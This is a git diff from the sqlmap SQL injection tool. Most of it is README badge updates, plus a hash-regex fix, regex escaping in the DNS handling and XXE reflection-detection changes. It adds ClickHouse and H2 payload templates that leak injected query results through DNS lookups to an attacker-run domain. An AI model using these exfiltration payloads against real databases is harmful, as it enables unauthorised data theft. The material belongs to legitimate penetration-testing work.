diff --git a/README.md b/README.md index 05fd780271e..05a3c9c0e56 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/gh-pages/favicon-32.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/data/procs/clickhouse/dns_request.sql b/data/procs/clickhouse/dns_request.sql new file mode 100644 index 00000000000..d7549442809 --- /dev/null +++ b/data/procs/clickhouse/dns_request.sql @@ -0,0 +1 @@ +SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String') diff --git a/data/procs/h2/dns_request.sql b/data/procs/h2/dns_request.sql new file mode 100644 index 00000000000..5480a5d7a8d --- /dev/null +++ b/data/procs/h2/dns_request.sql @@ -0,0 +1,2 @@ +SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL) +# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/') diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index 6def1dae26e..8343e7dc86e 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -66,4 +66,4 @@ * تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * ساحة التدريب: https://sekumart.sekuripy.hr -* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index eac60822f01..fd07d52dbe3 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index 2cff7d25282..23af4f763d2 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index 02471d311a2..70a23c6ed9f 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index abb9cea3a8d..e55a43b53bf 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index a2878800d6e..d3ca9c9acf5 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index 2f3cbf31349..c3647b0aacb 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 02bfe0d8944..d63177afa9d 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 161280fe892..53b4f774988 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 4807f57d6c1..a3807d50c5f 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 5a35ec38496..fdcaaaadf4d 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index 61aaec255f0..a259e694352 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 66c7e662a3b..32333ea4804 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index e544a9a455a..4f968607d65 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 419a9742545..63d52b2d917 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index ab612d4afe8..f282f5dccec 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index d04fda2abe2..0d7be77106f 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 0644def1b64..466165e6d8f 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 462f7497cca..c3f65cfbb9b 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index be2a045905b..3494f6d8856 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index 6697515e130..d9b9307a7c6 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index d5e29b67c3d..a67d2882617 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -48,4 +48,4 @@ Linky * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Cvičisko: https://sekumart.sekuripy.hr -* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file +* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index a1c67a7135c..bfc433fb7e2 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index f55c19ffe32..9470a527302 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 96d99bee026..b8ec43379a1 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 7157d361fac..511409fa44d 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) diff --git a/lib/core/enums.py b/lib/core/enums.py index 6249b42efa6..15c5763f69b 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -202,7 +202,7 @@ class HASH(object): SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' - PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' + PHPASS = r'\A\$(?:[PHQ]\$[./0-9a-zA-Z]{31}|S\$[./0-9a-zA-Z]{52})\Z' # $P$/$H$/$Q$ (WordPress/phpBB) are 34 chars; Drupal 7 '$S$' is 55 (DRUPAL_HASH_LENGTH) APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' diff --git a/lib/core/settings.py b/lib/core/settings.py index add75673a50..c6797c85727 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.245" +VERSION = "1.10.7.250" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index f97d7cf60ce..8dc1f0514ba 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -152,7 +152,7 @@ def pop(self, prefix=None, suffix=None): with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): + if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (re.escape(prefix), re.escape(suffix)), _, re.I): self._requests.remove(_) retVal = _.decode() break diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 1f0d21f3190..1747d22e3d3 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -46,7 +46,7 @@ def dnsUse(payload, expression): count = 0 offset = 1 - if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL, DBMS.H2, DBMS.CLICKHOUSE): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: @@ -87,7 +87,7 @@ def dnsUse(payload, expression): # Note: non-greedy so a '--dns-domain' label that happens to match the random # suffix can't make the match run past the real boundary (the boundary alphabet # excludes hex characters, so it can never under-match into the hex payload) - _ = extractRegexResult(r"%s\.(?P.+?)\.%s" % (prefix, suffix), _, re.I) + _ = extractRegexResult(r"%s\.(?P.+?)\.%s" % (re.escape(prefix), re.escape(suffix)), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 50bc5375362..042177be54a 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -485,11 +485,15 @@ def _confirmRead(page, pattern, baseline): return None -def _normalizeEscaping(text): - """Bounded, non-resolving decode of the common reflection encodings (HTML entities, percent- - encoding, JS \\uXXXX / escaped slash) so an ESCAPED entity reference (&e;, &e;, &e;, - %26e%3B, \\u0026e;) is unmasked and can be recognised as reflection rather than file content.""" +def _reflectsEntity(text, ent): + """True if the random entity NAME surfaces at ANY bounded de-escaping depth (raw included) - i.e. + the parser echoed the reference in some encoding (&e;, &e;, &e;, %26e%3B, \\u0026e;) + rather than expanding the external entity, so it is reflection, not file content. Checked at every + step because a further round of htmlUnescape can consume an entity-name prefix that is itself a + valid HTML entity (e.g. 'lt...'/'gt...'/'amp...'), which would otherwise mask the reflection.""" out = getUnicode(text) + if ent in out: + return True for _ in range(3): # a few rounds catch double-encoding; capped prev = out try: @@ -501,9 +505,11 @@ def _normalizeEscaping(text): except Exception: pass out = out.replace("\\u0026", "&").replace("\\u003b", ";").replace("\\/", "/") + if ent in out: + return True if out == prev: break - return out + return False def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2): @@ -521,14 +527,14 @@ def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2): data = match.group(1) # a reflected (not expanded) entity in ANY encoding: the random entity NAME survives de-escaping -> # the parser echoed the reference, it did not resolve the external entity -> not file content - if not data.strip() or ent in _normalizeEscaping(data): + if not data.strip() or _reflectsEntity(data, ent): return None, payload if isB64: try: data = getText(decodeBase64(data.strip())) # strict base64 also validates real bytes except Exception: return None, payload - if not data or not data.strip() or ent in _normalizeEscaping(data): + if not data or not data.strip() or _reflectsEntity(data, ent): return None, payload return (data if (data and data.strip()) else None), payload diff --git a/lib/utils/hash.py b/lib/utils/hash.py index c73e90d0e69..1b587c99ee8 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1058,6 +1058,10 @@ def hashRecognition(value): True >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE True + >>> hashRecognition("$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0") == HASH.PHPASS + True + >>> hashRecognition("$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W") == HASH.PHPASS + True >>> hashRecognition("foobar") == None True """